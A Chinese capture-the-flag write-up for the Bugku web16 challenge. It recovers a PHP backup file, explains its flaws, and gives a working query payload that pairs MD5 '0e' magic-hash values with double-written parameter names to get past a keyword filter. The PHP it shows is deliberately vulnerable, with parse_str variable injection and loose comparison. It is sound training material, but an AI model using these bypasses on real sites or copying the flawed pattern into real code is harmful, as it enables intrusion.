Bugku web16 备份是个好习惯

十五、web16 备份是个好习惯

常用备份文件后缀:.swp,.bak
御剑扫描,发现index.php.bak文件,下载下来


/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php"; //包含flag.php
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//设变量str的值为url中?后面的字符串
$str = substr($str,1);//设str为str中第一位开始后的字符串
$str = str_replace('key','',$str);//把str中的key替换成空
parse_str($str);//把str中的字符串解析为变量
echo md5($key1);//输出md5加密的key1
echo md5($key2);//输出md5加密的key2
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

要key1和key2加密后的md5值相等,但是key1和key2不相等,想到md5绕过-------传md5值是0e开头的字符串
构造url:?key1=QNKCDZO&key2=s878926199a,页面并没有弹出flag
正确的payload:?kkeyey1=QNKCDZO&kkeyey2=s878926199a

用kkeyey而不用key的原因:
$str = str_replace('key','',$str);即当我们传入的参数带有key就会被替换为空,所以这里双写kkeyey来绕过,这样kkey ey即使key替换成空了一头一尾拼起来还是key

你可能感兴趣的:(ctf)